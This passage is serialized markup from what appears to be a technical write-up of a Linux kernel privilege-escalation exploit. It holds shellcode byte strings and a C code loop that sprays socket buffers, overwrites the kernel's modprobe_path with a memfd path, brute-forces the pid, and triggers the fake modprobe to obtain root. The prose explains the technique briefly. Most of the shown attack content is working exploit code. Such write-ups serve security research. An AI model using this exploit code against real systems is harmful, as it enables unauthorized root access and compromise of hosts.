0x55",{"type":21,"tag":153,"props":61944,"children":61945},{"style":160},[61946],{"type":26,"value":1670},{"type":21,"tag":153,"props":61948,"children":61949},{"style":671},[61950],{"type":26,"value":22756},{"type":21,"tag":153,"props":61952,"children":61953},{"style":50663},[61954],{"type":26,"value":61955},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":21,"tag":153,"props":61957,"children":61958},{"style":671},[61959],{"type":26,"value":22756},{"type":21,"tag":153,"props":61961,"children":61962},{"style":160},[61963],{"type":26,"value":1670},{"type":21,"tag":153,"props":61965,"children":61966},{"style":300},[61967],{"type":26,"value":303},{"type":21,"tag":153,"props":61969,"children":61970},{"style":160},[61971],{"type":26,"value":2362},{"type":21,"tag":153,"props":61973,"children":61974},{"style":198},[61975],{"type":26,"value":1694},{"type":21,"tag":153,"props":61977,"children":61978},{"style":300},[61979],{"type":26,"value":5799},{"type":21,"tag":153,"props":61981,"children":61982},{"style":198},[61983],{"type":26,"value":54975},{"type":21,"tag":153,"props":61985,"children":61986},{"class":155,"line":3301},[61987,61991,61995,61999,62004,62008,62012,62017,62021,62025,62029,62033,62037,62041],{"type":21,"tag":153,"props":61988,"children":61989},{"style":181},[61990],{"type":26,"value":61462},{"type":21,"tag":153,"props":61992,"children":61993},{"style":160},[61994],{"type":26,"value":61404},{"type":21,"tag":153,"props":61996,"children":61997},{"style":198},[61998],{"type":26,"value":4099},{"type":21,"tag":153,"props":62000,"children":62001},{"style":300},[62002],{"type":26,"value":62003}," 0x61",{"type":21,"tag":153,"props":62005,"children":62006},{"style":160},[62007],{"type":26,"value":1670},{"type":21,"tag":153,"props":62009,"children":62010},{"style":671},[62011],{"type":26,"value":22756},{"type":21,"tag":153,"props":62013,"children":62014},{"style":50663},[62015],{"type":26,"value":62016},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":21,"tag":153,"props":62018,"children":62019},{"style":671},[62020],{"type":26,"value":22756},{"type":21,"tag":153,"props":62022,"children":62023},{"style":160},[62024],{"type":26,"value":1670},{"type":21,"tag":153,"props":62026,"children":62027},{"style":300},[62028],{"type":26,"value":20805},{"type":21,"tag":153,"props":62030,"children":62031},{"style":160},[62032],{"type":26,"value":2362},{"type":21,"tag":153,"props":62034,"children":62035},{"style":198},[62036],{"type":26,"value":1694},{"type":21,"tag":153,"props":62038,"children":62039},{"style":300},[62040],{"type":26,"value":5799},{"type":21,"tag":153,"props":62042,"children":62043},{"style":198},[62044],{"type":26,"value":54975},{"type":21,"tag":153,"props":62046,"children":62047},{"class":155,"line":3346},[62048,62052,62056,62060,62065,62069,62073,62078,62082,62086,62090,62094,62098,62102],{"type":21,"tag":153,"props":62049,"children":62050},{"style":181},[62051],{"type":26,"value":61462},{"type":21,"tag":153,"props":62053,"children":62054},{"style":160},[62055],{"type":26,"value":61404},{"type":21,"tag":153,"props":62057,"children":62058},{"style":198},[62059],{"type":26,"value":4099},{"type":21,"tag":153,"props":62061,"children":62062},{"style":300},[62063],{"type":26,"value":62064}," 0x6a",{"type":21,"tag":153,"props":62066,"children":62067},{"style":160},[62068],{"type":26,"value":1670},{"type":21,"tag":153,"props":62070,"children":62071},{"style":671},[62072],{"type":26,"value":22756},{"type":21,"tag":153,"props":62074,"children":62075},{"style":50663},[62076],{"type":26,"value":62077},"\\x48\\xc7\\xc6",{"type":21,"tag":153,"props":62079,"children":62080},{"style":671},[62081],{"type":26,"value":22756},{"type":21,"tag":153,"props":62083,"children":62084},{"style":160},[62085],{"type":26,"value":1670},{"type":21,"tag":153,"props":62087,"children":62088},{"style":300},[62089],{"type":26,"value":4303},{"type":21,"tag":153,"props":62091,"children":62092},{"style":160},[62093],{"type":26,"value":2362},{"type":21,"tag":153,"props":62095,"children":62096},{"style":198},[62097],{"type":26,"value":1694},{"type":21,"tag":153,"props":62099,"children":62100},{"style":300},[62101],{"type":26,"value":5799},{"type":21,"tag":153,"props":62103,"children":62104},{"style":198},[62105],{"type":26,"value":54975},{"type":21,"tag":153,"props":62107,"children":62108},{"class":155,"line":3355},[62109,62113,62117,62121,62126,62130,62134,62139,62143,62147,62151,62155,62159,62163],{"type":21,"tag":153,"props":62110,"children":62111},{"style":181},[62112],{"type":26,"value":61462},{"type":21,"tag":153,"props":62114,"children":62115},{"style":160},[62116],{"type":26,"value":61404},{"type":21,"tag":153,"props":62118,"children":62119},{"style":198},[62120],{"type":26,"value":4099},{"type":21,"tag":153,"props":62122,"children":62123},{"style":300},[62124],{"type":26,"value":62125}," 0x71",{"type":21,"tag":153,"props":62127,"children":62128},{"style":160},[62129],{"type":26,"value":1670},{"type":21,"tag":153,"props":62131,"children":62132},{"style":671},[62133],{"type":26,"value":22756},{"type":21,"tag":153,"props":62135,"children":62136},{"style":50663},[62137],{"type":26,"value":62138},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":21,"tag":153,"props":62140,"children":62141},{"style":671},[62142],{"type":26,"value":22756},{"type":21,"tag":153,"props":62144,"children":62145},{"style":160},[62146],{"type":26,"value":1670},{"type":21,"tag":153,"props":62148,"children":62149},{"style":300},[62150],{"type":26,"value":21117},{"type":21,"tag":153,"props":62152,"children":62153},{"style":160},[62154],{"type":26,"value":2362},{"type":21,"tag":153,"props":62156,"children":62157},{"style":198},[62158],{"type":26,"value":1694},{"type":21,"tag":153,"props":62160,"children":62161},{"style":300},[62162],{"type":26,"value":5799},{"type":21,"tag":153,"props":62164,"children":62165},{"style":198},[62166],{"type":26,"value":54975},{"type":21,"tag":153,"props":62168,"children":62169},{"class":155,"line":3364},[62170,62174,62178,62182,62187,62191,62195,62200,62204,62208,62212,62216,62220,62224],{"type":21,"tag":153,"props":62171,"children":62172},{"style":181},[62173],{"type":26,"value":61462},{"type":21,"tag":153,"props":62175,"children":62176},{"style":160},[62177],{"type":26,"value":61404},{"type":21,"tag":153,"props":62179,"children":62180},{"style":198},[62181],{"type":26,"value":4099},{"type":21,"tag":153,"props":62183,"children":62184},{"style":300},[62185],{"type":26,"value":62186}," 0x78",{"type":21,"tag":153,"props":62188,"children":62189},{"style":160},[62190],{"type":26,"value":1670},{"type":21,"tag":153,"props":62192,"children":62193},{"style":671},[62194],{"type":26,"value":22756},{"type":21,"tag":153,"props":62196,"children":62197},{"style":50663},[62198],{"type":26,"value":62199},"\\xff\\xe0",{"type":21,"tag":153,"props":62201,"children":62202},{"style":671},[62203],{"type":26,"value":22756},{"type":21,"tag":153,"props":62205,"children":62206},{"style":160},[62207],{"type":26,"value":1670},{"type":21,"tag":153,"props":62209,"children":62210},{"style":300},[62211],{"type":26,"value":5873},{"type":21,"tag":153,"props":62213,"children":62214},{"style":160},[62215],{"type":26,"value":2362},{"type":21,"tag":153,"props":62217,"children":62218},{"style":198},[62219],{"type":26,"value":1694},{"type":21,"tag":153,"props":62221,"children":62222},{"style":300},[62223],{"type":26,"value":5799},{"type":21,"tag":153,"props":62225,"children":62226},{"style":160},[62227],{"type":26,"value":5909},{"type":21,"tag":153,"props":62229,"children":62230},{"class":155,"line":3376},[62231,62235,62239],{"type":21,"tag":153,"props":62232,"children":62233},{"style":1751},[62234],{"type":26,"value":18441},{"type":21,"tag":153,"props":62236,"children":62237},{"style":170},[62238],{"type":26,"value":15187},{"type":21,"tag":153,"props":62240,"children":62241},{"style":160},[62242],{"type":26,"value":1759},{"type":21,"tag":153,"props":62244,"children":62245},{"class":155,"line":3393},[62246],{"type":21,"tag":153,"props":62247,"children":62248},{"emptyLinePlaceholder":16},[62249],{"type":26,"value":759},{"type":21,"tag":153,"props":62251,"children":62252},{"class":155,"line":3405},[62253,62257,62261],{"type":21,"tag":153,"props":62254,"children":62255},{"style":1751},[62256],{"type":26,"value":19687},{"type":21,"tag":153,"props":62258,"children":62259},{"style":170},[62260],{"type":26,"value":11782},{"type":21,"tag":153,"props":62262,"children":62263},{"style":160},[62264],{"type":26,"value":1759},{"type":21,"tag":153,"props":62266,"children":62267},{"class":155,"line":3427},[62268],{"type":21,"tag":153,"props":62269,"children":62270},{"style":160},[62271],{"type":26,"value":548},{"type":21,"tag":153,"props":62273,"children":62274},{"class":155,"line":3448},[62275],{"type":21,"tag":153,"props":62276,"children":62277},{"style":160},[62278],{"type":26,"value":13038},{"type":21,"tag":114,"props":62280,"children":62282},{"id":62281},"overwriting-modprobe_path",[62283,62285],{"type":26,"value":62284},"Overwriting ",{"type":21,"tag":78,"props":62286,"children":62288},{"className":62287},[],[62289],{"type":26,"value":60670},{"type":21,"tag":22,"props":62291,"children":62292},{},[62293,62295,62301],{"type":26,"value":62294},"Finding the ",{"type":21,"tag":78,"props":62296,"children":62298},{"className":62297},[],[62299],{"type":26,"value":62300},"/sbin/modprobe",{"type":26,"value":62302}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":21,"tag":22,"props":62304,"children":62305},{},[62306,62308,62314],{"type":26,"value":62307},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":21,"tag":78,"props":62309,"children":62311},{"className":62310},[],[62312],{"type":26,"value":62313},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":26,"value":62315}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":21,"tag":143,"props":62317,"children":62319},{"className":31805,"code":62318,"language":31807,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[62320],{"type":21,"tag":78,"props":62321,"children":62322},{"__ignoreMap":7},[62323,62330,62352,62360,62367,62375,62383,62391,62399,62406,62414,62421,62459,62470,62477,62484,62491,62518,62549,62556,62578,62591,62598,62656,62663,62691,62698,62705,62726,62733,62754,62765,62772,62779,62800,62807,62835,62848,62855,62862,62911,62918,62986,62993,63014,63034,63041,63048,63055,63075],{"type":21,"tag":153,"props":62324,"children":62325},{"class":155,"line":156},[62326],{"type":21,"tag":153,"props":62327,"children":62328},{"style":160},[62329],{"type":26,"value":13038},{"type":21,"tag":153,"props":62331,"children":62332},{"class":155,"line":166},[62333,62338,62343,62348],{"type":21,"tag":153,"props":62334,"children":62335},{"style":160},[62336],{"type":26,"value":62337},"    puts(\"[*] ",{"type":21,"tag":153,"props":62339,"children":62340},{"style":214},[62341],{"type":26,"value":62342},"overwrite",{"type":21,"tag":153,"props":62344,"children":62345},{"style":214},[62346],{"type":26,"value":62347}," modprobe_path",{"type":21,"tag":153,"props":62349,"children":62350},{"style":671},[62351],{"type":26,"value":58583},{"type":21,"tag":153,"props":62353,"children":62354},{"class":155,"line":225},[62355],{"type":21,"tag":153,"props":62356,"children":62357},{"style":671},[62358],{"type":26,"value":62359},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":21,"tag":153,"props":62361,"children":62362},{"class":155,"line":239},[62363],{"type":21,"tag":153,"props":62364,"children":62365},{"style":671},[62366],{"type":26,"value":2562},{"type":21,"tag":153,"props":62368,"children":62369},{"class":155,"line":382},[62370],{"type":21,"tag":153,"props":62371,"children":62372},{"style":671},[62373],{"type":26,"value":62374},"        pipebuf->page = modprobe_page;\n",{"type":21,"tag":153,"props":62376,"children":62377},{"class":155,"line":501},[62378],{"type":21,"tag":153,"props":62379,"children":62380},{"style":671},[62381],{"type":26,"value":62382},"        pipebuf->offset = modprobe_off;\n",{"type":21,"tag":153,"props":62384,"children":62385},{"class":155,"line":533},[62386],{"type":21,"tag":153,"props":62387,"children":62388},{"style":671},[62389],{"type":26,"value":62390},"        pipebuf->len = 0;\n",{"type":21,"tag":153,"props":62392,"children":62393},{"class":155,"line":542},[62394],{"type":21,"tag":153,"props":62395,"children":62396},{"style":671},[62397],{"type":26,"value":62398},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":21,"tag":153,"props":62400,"children":62401},{"class":155,"line":762},[62402],{"type":21,"tag":153,"props":62403,"children":62404},{"style":671},[62405],{"type":26,"value":34353},{"type":21,"tag":153,"props":62407,"children":62408},{"class":155,"line":776},[62409],{"type":21,"tag":153,"props":62410,"children":62411},{"style":671},[62412],{"type":26,"value":62413},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":21,"tag":153,"props":62415,"children":62416},{"class":155,"line":795},[62417],{"type":21,"tag":153,"props":62418,"children":62419},{"style":671},[62420],{"type":26,"value":34389},{"type":21,"tag":153,"props":62422,"children":62423},{"class":155,"line":808},[62424,62429,62433,62437,62441,62446,62450,62454],{"type":21,"tag":153,"props":62425,"children":62426},{"style":671},[62427],{"type":26,"value":62428},"                perror(\"",{"type":21,"tag":153,"props":62430,"children":62431},{"style":160},[62432],{"type":26,"value":211},{"type":21,"tag":153,"props":62434,"children":62435},{"style":198},[62436],{"type":26,"value":3873},{"type":21,"tag":153,"props":62438,"children":62439},{"style":160},[62440],{"type":26,"value":11387},{"type":21,"tag":153,"props":62442,"children":62443},{"style":214},[62444],{"type":26,"value":62445},"write",{"type":21,"tag":153,"props":62447,"children":62448},{"style":160},[62449],{"type":26,"value":189},{"type":21,"tag":153,"props":62451,"children":62452},{"style":214},[62453],{"type":26,"value":1592},{"type":21,"tag":153,"props":62455,"children":62456},{"style":160},[62457],{"type":26,"value":62458},")\");\n",{"type":21,"tag":153,"props":62460,"children":62461},{"class":155,"line":820},[62462,62466],{"type":21,"tag":153,"props":62463,"children":62464},{"style":1751},[62465],{"type":26,"value":61252},{"type":21,"tag":153,"props":62467,"children":62468},{"style":160},[62469],{"type":26,"value":1759},{"type":21,"tag":153,"props":62471,"children":62472},{"class":155,"line":842},[62473],{"type":21,"tag":153,"props":62474,"children":62475},{"style":160},[62476],{"type":26,"value":61177},{"type":21,"tag":153,"props":62478,"children":62479},{"class":155,"line":3204},[62480],{"type":21,"tag":153,"props":62481,"children":62482},{"style":160},[62483],{"type":26,"value":2765},{"type":21,"tag":153,"props":62485,"children":62486},{"class":155,"line":3230},[62487],{"type":21,"tag":153,"props":62488,"children":62489},{"emptyLinePlaceholder":16},[62490],{"type":26,"value":759},{"type":21,"tag":153,"props":62492,"children":62493},{"class":155,"line":3239},[62494,62498,62502,62506,62510,62514],{"type":21,"tag":153,"props":62495,"children":62496},{"style":181},[62497],{"type":26,"value":56908},{"type":21,"tag":153,"props":62499,"children":62500},{"style":160},[62501],{"type":26,"value":189},{"type":21,"tag":153,"props":62503,"children":62504},{"style":198},[62505],{"type":26,"value":1974},{"type":21,"tag":153,"props":62507,"children":62508},{"style":160},[62509],{"type":26,"value":61063},{"type":21,"tag":153,"props":62511,"children":62512},{"style":300},[62513],{"type":26,"value":2996},{"type":21,"tag":153,"props":62515,"children":62516},{"style":160},[62517],{"type":26,"value":61072},{"type":21,"tag":153,"props":62519,"children":62520},{"class":155,"line":3253},[62521,62525,62530,62534,62539,62544],{"type":21,"tag":153,"props":62522,"children":62523},{"style":181},[62524],{"type":26,"value":57609},{"type":21,"tag":153,"props":62526,"children":62527},{"style":160},[62528],{"type":26,"value":62529},"(fd_path, ",{"type":21,"tag":153,"props":62531,"children":62532},{"style":170},[62533],{"type":26,"value":57619},{"type":21,"tag":153,"props":62535,"children":62536},{"style":160},[62537],{"type":26,"value":62538},"(fd_path), ",{"type":21,"tag":153,"props":62540,"children":62541},{"style":671},[62542],{"type":26,"value":62543},"\"/proc/%i/fd/%i\"",{"type":21,"tag":153,"props":62545,"children":62546},{"style":160},[62547],{"type":26,"value":62548},", i, modprobe_fd);\n",{"type":21,"tag":153,"props":62550,"children":62551},{"class":155,"line":3301},[62552],{"type":21,"tag":153,"props":62553,"children":62554},{"emptyLinePlaceholder":16},[62555],{"type":26,"value":759},{"type":21,"tag":153,"props":62557,"children":62558},{"class":155,"line":3346},[62559,62564,62569,62573],{"type":21,"tag":153,"props":62560,"children":62561},{"style":181},[62562],{"type":26,"value":62563},"        lseek",{"type":21,"tag":153,"props":62565,"children":62566},{"style":160},[62567],{"type":26,"value":62568},"(modprobe_fd, ",{"type":21,"tag":153,"props":62570,"children":62571},{"style":300},[62572],{"type":26,"value":2996},{"type":21,"tag":153,"props":62574,"children":62575},{"style":160},[62576],{"type":26,"value":62577},", SEEK_SET);\n",{"type":21,"tag":153,"props":62579,"children":62580},{"class":155,"line":3355},[62581,62586],{"type":21,"tag":153,"props":62582,"children":62583},{"style":181},[62584],{"type":26,"value":62585},"        dprintf",{"type":21,"tag":153,"props":62587,"children":62588},{"style":160},[62589],{"type":26,"value":62590},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":21,"tag":153,"props":62592,"children":62593},{"class":155,"line":3364},[62594],{"type":21,"tag":153,"props":62595,"children":62596},{"emptyLinePlaceholder":16},[62597],{"type":26,"value":759},{"type":21,"tag":153,"props":62599,"children":62600},{"class":155,"line":3376},[62601,62605,62609,62613,62617,62621,62626,62630,62635,62640,62644,62648,62652],{"type":21,"tag":153,"props":62602,"children":62603},{"style":1751},[62604],{"type":26,"value":2607},{"type":21,"tag":153,"props":62606,"children":62607},{"style":160},[62608],{"type":26,"value":5820},{"type":21,"tag":153,"props":62610,"children":62611},{"style":181},[62612],{"type":26,"value":62445},{"type":21,"tag":153,"props":62614,"children":62615},{"style":160},[62616],{"type":26,"value":189},{"type":21,"tag":153,"props":62618,"children":62619},{"style":192},[62620],{"type":26,"value":61116},{"type":21,"tag":153,"props":62622,"children":62623},{"style":160},[62624],{"type":26,"value":62625},"[pipe_idx][",{"type":21,"tag":153,"props":62627,"children":62628},{"style":300},[62629],{"type":26,"value":3033},{"type":21,"tag":153,"props":62631,"children":62632},{"style":160},[62633],{"type":26,"value":62634},"], fd_path, ",{"type":21,"tag":153,"props":62636,"children":62637},{"style":300},[62638],{"type":26,"value":62639},"32",{"type":21,"tag":153,"props":62641,"children":62642},{"style":160},[62643],{"type":26,"value":2362},{"type":21,"tag":153,"props":62645,"children":62646},{"style":198},[62647],{"type":26,"value":8537},{"type":21,"tag":153,"props":62649,"children":62650},{"style":300},[62651],{"type":26,"value":5799},{"type":21,"tag":153,"props":62653,"children":62654},{"style":160},[62655],{"type":26,"value":5909},{"type":21,"tag":153,"props":62657,"children":62658},{"class":155,"line":3393},[62659],{"type":21,"tag":153,"props":62660,"children":62661},{"style":160},[62662],{"type":26,"value":34353},{"type":21,"tag":153,"props":62664,"children":62665},{"class":155,"line":3405},[62666,62670,62674,62678,62682,62687],{"type":21,"tag":153,"props":62667,"children":62668},{"style":181},[62669],{"type":26,"value":60189},{"type":21,"tag":153,"props":62671,"children":62672},{"style":160},[62673],{"type":26,"value":189},{"type":21,"tag":153,"props":62675,"children":62676},{"style":671},[62677],{"type":26,"value":22756},{"type":21,"tag":153,"props":62679,"children":62680},{"style":50663},[62681],{"type":26,"value":50666},{"type":21,"tag":153,"props":62683,"children":62684},{"style":671},[62685],{"type":26,"value":62686},"[-] write(pipe)\"",{"type":21,"tag":153,"props":62688,"children":62689},{"style":160},[62690],{"type":26,"value":530},{"type":21,"tag":153,"props":62692,"children":62693},{"class":155,"line":3427},[62694],{"type":21,"tag":153,"props":62695,"children":62696},{"style":160},[62697],{"type":26,"value":2765},{"type":21,"tag":153,"props":62699,"children":62700},{"class":155,"line":3448},[62701],{"type":21,"tag":153,"props":62702,"children":62703},{"emptyLinePlaceholder":16},[62704],{"type":26,"value":759},{"type":21,"tag":153,"props":62706,"children":62707},{"class":155,"line":3456},[62708,62712,62716,62721],{"type":21,"tag":153,"props":62709,"children":62710},{"style":1751},[62711],{"type":26,"value":2607},{"type":21,"tag":153,"props":62713,"children":62714},{"style":160},[62715],{"type":26,"value":5820},{"type":21,"tag":153,"props":62717,"children":62718},{"style":181},[62719],{"type":26,"value":62720},"check_modprobe",{"type":21,"tag":153,"props":62722,"children":62723},{"style":160},[62724],{"type":26,"value":62725},"(fd_path))\n",{"type":21,"tag":153,"props":62727,"children":62728},{"class":155,"line":3493},[62729],{"type":21,"tag":153,"props":62730,"children":62731},{"style":160},[62732],{"type":26,"value":34353},{"type":21,"tag":153,"props":62734,"children":62735},{"class":155,"line":3509},[62736,62741,62745,62750],{"type":21,"tag":153,"props":62737,"children":62738},{"style":181},[62739],{"type":26,"value":62740},"            puts",{"type":21,"tag":153,"props":62742,"children":62743},{"style":160},[62744],{"type":26,"value":189},{"type":21,"tag":153,"props":62746,"children":62747},{"style":671},[62748],{"type":26,"value":62749},"\"[-] failed to overwrite modprobe\"",{"type":21,"tag":153,"props":62751,"children":62752},{"style":160},[62753],{"type":26,"value":530},{"type":21,"tag":153,"props":62755,"children":62756},{"class":155,"line":3517},[62757,62761],{"type":21,"tag":153,"props":62758,"children":62759},{"style":1751},[62760],{"type":26,"value":6047},{"type":21,"tag":153,"props":62762,"children":62763},{"style":160},[62764],{"type":26,"value":1759},{"type":21,"tag":153,"props":62766,"children":62767},{"class":155,"line":3526},[62768],{"type":21,"tag":153,"props":62769,"children":62770},{"style":160},[62771],{"type":26,"value":2765},{"type":21,"tag":153,"props":62773,"children":62774},{"class":155,"line":3607},[62775],{"type":21,"tag":153,"props":62776,"children":62777},{"emptyLinePlaceholder":16},[62778],{"type":26,"value":759},{"type":21,"tag":153,"props":62780,"children":62781},{"class":155,"line":3615},[62782,62786,62790,62795],{"type":21,"tag":153,"props":62783,"children":62784},{"style":1751},[62785],{"type":26,"value":2607},{"type":21,"tag":153,"props":62787,"children":62788},{"style":160},[62789],{"type":26,"value":5820},{"type":21,"tag":153,"props":62791,"children":62792},{"style":181},[62793],{"type":26,"value":62794},"trigger_modprobe",{"type":21,"tag":153,"props":62796,"children":62797},{"style":160},[62798],{"type":26,"value":62799},"(status_fd))\n",{"type":21,"tag":153,"props":62801,"children":62802},{"class":155,"line":3629},[62803],{"type":21,"tag":153,"props":62804,"children":62805},{"style":160},[62806],{"type":26,"value":34353},{"type":21,"tag":153,"props":62808,"children":62809},{"class":155,"line":26297},[62810,62814,62818,62822,62826,62831],{"type":21,"tag":153,"props":62811,"children":62812},{"style":181},[62813],{"type":26,"value":62740},{"type":21,"tag":153,"props":62815,"children":62816},{"style":160},[62817],{"type":26,"value":189},{"type":21,"tag":153,"props":62819,"children":62820},{"style":671},[62821],{"type":26,"value":22756},{"type":21,"tag":153,"props":62823,"children":62824},{"style":50663},[62825],{"type":26,"value":50666},{"type":21,"tag":153,"props":62827,"children":62828},{"style":671},[62829],{"type":26,"value":62830},"[+] got root\"",{"type":21,"tag":153,"props":62832,"children":62833},{"style":160},[62834],{"type":26,"value":530},{"type":21,"tag":153,"props":62836,"children":62837},{"class":155,"line":26330},[62838,62843],{"type":21,"tag":153,"props":62839,"children":62840},{"style":1751},[62841],{"type":26,"value":62842},"            goto",{"type":21,"tag":153,"props":62844,"children":62845},{"style":160},[62846],{"type":26,"value":62847}," out;\n",{"type":21,"tag":153,"props":62849,"children":62850},{"class":155,"line":26338},[62851],{"type":21,"tag":153,"props":62852,"children":62853},{"style":160},[62854],{"type":26,"value":2765},{"type":21,"tag":153,"props":62856,"children":62857},{"class":155,"line":26346},[62858],{"type":21,"tag":153,"props":62859,"children":62860},{"emptyLinePlaceholder":16},[62861],{"type":26,"value":759},{"type":21,"tag":153,"props":62863,"children":62864},{"class":155,"line":26355},[62865,62870,62874,62878,62882,62886,62890,62894,62898,62903,62907],{"type":21,"tag":153,"props":62866,"children":62867},{"style":1751},[62868],{"type":26,"value":62869},"        for",{"type":21,"tag":153,"props":62871,"children":62872},{"style":160},[62873],{"type":26,"value":5820},{"type":21,"tag":153,"props":62875,"children":62876},{"style":170},[62877],{"type":26,"value":21743},{"type":21,"tag":153,"props":62879,"children":62880},{"style":160},[62881],{"type":26,"value":56835},{"type":21,"tag":153,"props":62883,"children":62884},{"style":198},[62885],{"type":26,"value":2367},{"type":21,"tag":153,"props":62887,"children":62888},{"style":300},[62889],{"type":26,"value":5799},{"type":21,"tag":153,"props":62891,"children":62892},{"style":160},[62893],{"type":26,"value":53524},{"type":21,"tag":153,"props":62895,"children":62896},{"style":198},[62897],{"type":26,"value":8537},{"type":21,"tag":153,"props":62899,"children":62900},{"style":160},[62901],{"type":26,"value":62902}," SKBUF_SPRAY; i",{"type":21,"tag":153,"props":62904,"children":62905},{"style":198},[62906],{"type":26,"value":53560},{"type":21,"tag":153,"props":62908,"children":62909},{"style":160},[62910],{"type":26,"value":5909},{"type":21,"tag":153,"props":62912,"children":62913},{"class":155,"line":26431},[62914],{"type":21,"tag":153,"props":62915,"children":62916},{"style":160},[62917],{"type":26,"value":34353},{"type":21,"tag":153,"props":62919,"children":62920},{"class":155,"line":26464},[62921,62925,62929,62934,62938,62943,62948,62952,62957,62961,62965,62970,62974,62978,62982],{"type":21,"tag":153,"props":62922,"children":62923},{"style":1751},[62924],{"type":26,"value":61093},{"type":21,"tag":153,"props":62926,"children":62927},{"style":160},[62928],{"type":26,"value":5820},{"type":21,"tag":153,"props":62930,"children":62931},{"style":181},[62932],{"type":26,"value":62933},"read",{"type":21,"tag":153,"props":62935,"children":62936},{"style":160},[62937],{"type":26,"value":189},{"type":21,"tag":153,"props":62939,"children":62940},{"style":192},[62941],{"type":26,"value":62942},"sock",{"type":21,"tag":153,"props":62944,"children":62945},{"style":160},[62946],{"type":26,"value":62947},"[i][",{"type":21,"tag":153,"props":62949,"children":62950},{"style":300},[62951],{"type":26,"value":3033},{"type":21,"tag":153,"props":62953,"children":62954},{"style":160},[62955],{"type":26,"value":62956},"], leak, ",{"type":21,"tag":153,"props":62958,"children":62959},{"style":300},[62960],{"type":26,"value":60440},{"type":21,"tag":153,"props":62962,"children":62963},{"style":198},[62964],{"type":26,"value":53546},{"type":21,"tag":153,"props":62966,"children":62967},{"style":300},[62968],{"type":26,"value":62969}," 320",{"type":21,"tag":153,"props":62971,"children":62972},{"style":160},[62973],{"type":26,"value":2362},{"type":21,"tag":153,"props":62975,"children":62976},{"style":198},[62977],{"type":26,"value":8537},{"type":21,"tag":153,"props":62979,"children":62980},{"style":300},[62981],{"type":26,"value":5799},{"type":21,"tag":153,"props":62983,"children":62984},{"style":160},[62985],{"type":26,"value":5909},{"type":21,"tag":153,"props":62987,"children":62988},{"class":155,"line":26472},[62989],{"type":21,"tag":153,"props":62990,"children":62991},{"style":160},[62992],{"type":26,"value":34389},{"type":21,"tag":153,"props":62994,"children":62995},{"class":155,"line":26480},[62996,63001,63005,63010],{"type":21,"tag":153,"props":62997,"children":62998},{"style":181},[62999],{"type":26,"value":63000},"                perror",{"type":21,"tag":153,"props":63002,"children":63003},{"style":160},[63004],{"type":26,"value":189},{"type":21,"tag":153,"props":63006,"children":63007},{"style":671},[63008],{"type":26,"value":63009},"\"[-] read(socket)\"",{"type":21,"tag":153,"props":63011,"children":63012},{"style":160},[63013],{"type":26,"value":530},{"type":21,"tag":153,"props":63015,"children":63016},{"class":155,"line":26517},[63017,63022,63026,63030],{"type":21,"tag":153,"props":63018,"children":63019},{"style":1751},[63020],{"type":26,"value":63021},"                return",{"type":21,"tag":153,"props":63023,"children":63024},{"style":198},[63025],{"type":26,"value":53546},{"type":21,"tag":153,"props":63027,"children":63028},{"style":300},[63029],{"type":26,"value":3033},{"type":21,"tag":153,"props":63031,"children":63032},{"style":160},[63033],{"type":26,"value":1759},{"type":21,"tag":153,"props":63035,"children":63036},{"class":155,"line":26530},[63037],{"type":21,"tag":153,"props":63038,"children":63039},{"style":160},[63040],{"type":26,"value":61177},{"type":21,"tag":153,"props":63042,"children":63043},{"class":155,"line":26543},[63044],{"type":21,"tag":153,"props":63045,"children":63046},{"style":160},[63047],{"type":26,"value":2765},{"type":21,"tag":153,"props":63049,"children":63050},{"class":155,"line":26556},[63051],{"type":21,"tag":153,"props":63052,"children":63053},{"style":160},[63054],{"type":26,"value":539},{"type":21,"tag":153,"props":63056,"children":63057},{"class":155,"line":26610},[63058,63062,63066,63071],{"type":21,"tag":153,"props":63059,"children":63060},{"style":181},[63061],{"type":26,"value":57798},{"type":21,"tag":153,"props":63063,"children":63064},{"style":160},[63065],{"type":26,"value":189},{"type":21,"tag":153,"props":63067,"children":63068},{"style":671},[63069],{"type":26,"value":63070},"\"[-] fake modprobe failed\"",{"type":21,"tag":153,"props":63072,"children":63073},{"style":160},[63074],{"type":26,"value":530},{"type":21,"tag":153,"props":63076,"children":63077},{"class":155,"line":26619},[63078],{"type":21,"tag":153,"props":63079,"children":63080},{"style":160},[63081],{"type":26,"value":13038},{"type":21,"tag":22,"props":63083,"children":63084},{},[63085,63087,63094],{"type":26,"value":63086},"This trick has already been throughly detailed by 